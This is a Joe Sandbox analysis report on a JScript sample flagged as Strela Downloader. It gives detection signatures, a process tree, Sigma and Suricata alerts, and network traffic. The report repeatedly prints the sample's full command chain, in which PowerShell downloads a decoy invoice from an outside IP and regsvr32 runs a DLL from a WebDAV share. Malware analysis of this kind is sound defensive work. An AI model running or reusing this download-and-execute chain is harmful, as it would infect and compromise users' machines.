Edit tour

Windows Analysis Report
741645402364914803.js

Overview

General Information

Sample name:	741645402364914803.js
Analysis ID:	1588075
MD5:	0782ab7fe77a2bbcd68c2efd3cd46ae6
SHA1:	13cc171a0b4f6b692856536adc4d50edf03931f3
SHA256:	6d56c9084e2c9f8b1468c840bcb74c64afd8d8456509902737cdfc49ad0691c1
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Desusertion Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 2920 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\741645402364914803.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6428 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\211942263713885.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5572 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5480 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 1364 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 4696 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 4112 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1612,i,7951175835840154469,9562275575992550247,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 4452 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 4140 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 3372 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 2920	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\211942263713885.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6428, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5480, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\211942263713885.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6428, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5480, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\741645402364914803.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\741645402364914803.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\741645402364914803.js", ProcessId: 2920, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Desusertion Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DesusertionIp: 193.143.1.205, DesusertionIsIpv6: false, DesusertionPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 4140, Protocol: tcp, SourceIp: 192.168.2.9, SourceIsIpv6: false, SourcePort: 49707

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\211942263713885.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\211942263713885.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\741645402364914803.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2920, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\211942263713885.dll, ProcessId: 6428, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\211942263713885.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\211942263713885.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\741645402364914803.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2920, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\211942263713885.dll, ProcessId: 6428, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\211942263713885.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\211942263713885.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\741645402364914803.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2920, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\211942263713885.dll, ProcessId: 6428, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\211942263713885.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\211942263713885.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\741645402364914803.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2920, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\211942263713885.dll, ProcessId: 6428, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\211942263713885.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\211942263713885.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\741645402364914803.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2920, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\211942263713885.dll, ProcessId: 6428, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\741645402364914803.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\741645402364914803.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\741645402364914803.js", ProcessId: 2920, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\211942263713885.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6428, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5480, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4452, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4140, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 3372, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4452, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4140, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\211942263713885.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\211942263713885.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\741645402364914803.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2920, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\211942263713885.dll, ProcessId: 6428, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T20:59:54.847961+0100	1810005	1	Potentially Bad Traffic	192.168.2.9	49707	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T20:59:52.171690+0100	1810000	2	Potentially Bad Traffic	192.168.2.9	49706	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 741645402364914803.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 741645402364914803.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.9:49707 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 19:59:52 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49707

Source: global traffic

TCP traffic: 192.168.2.9:49707 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.9:49706 -> 193.143.1.205:80

Source: global traffic

